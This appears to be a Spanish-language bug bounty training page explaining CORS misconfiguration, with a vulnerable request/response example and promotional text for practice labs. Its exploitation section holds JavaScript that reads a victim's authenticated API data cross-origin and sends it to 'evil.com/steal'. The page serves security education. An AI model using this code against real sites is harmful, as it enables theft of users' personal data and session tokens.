CORS Misconfiguration

Alto

Cross-Origin Resource Sharing Misconfiguration

Definición

Una mala configuración de CORS ocurre cuando un servidor define políticas de Cross-Origin Resource Sharing demasiado permisivas, permitiendo que sitios web maliciosos lean respuestas de la API autenticada. Esto puede permitir el robo de datos sensibles del usuario desde un dominio controlado por el atacante.

Impacto

Robo de datos personales del usuario autenticadoLectura de respuestas de APIs privadas desde un dominio maliciosoExfiltración de tokens y credencialesAcceso no autorizado a funcionalidades de la cuenta

Ejemplos

CORS con reflejo de origen

El servidor refleja automáticamente el encabezado Origin del atacante y permite credenciales. Esto permite que cualquier sitio web lea las respuestas de la API autenticada del usuario.

# El servidor refleja cualquier origen en Access-Control-Allow-Origin
# Petición desde el dominio del atacante:

GET /api/me HTTP/1.1
Host: victima.com
Origin: https://evil.com
Cookie: session=abc123

# Respuesta del servidor (vulnerable):
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "victima@ejemplo.com", "token": "secreto123"}

Explotación con JavaScript

Desde su página maliciosa, el atacante realiza una petición a la API de la víctima. Como CORS permite el origen y credenciales, el navegador incluye las cookies y el atacante recibe la respuesta con los datos privados.

<!-- Página del atacante en evil.com -->
<script>
fetch('https://victima.com/api/me', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // Enviar datos robados al servidor del atacante
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
</script>

Referencias externas

Practica CORS Misconfiguration con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica
2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.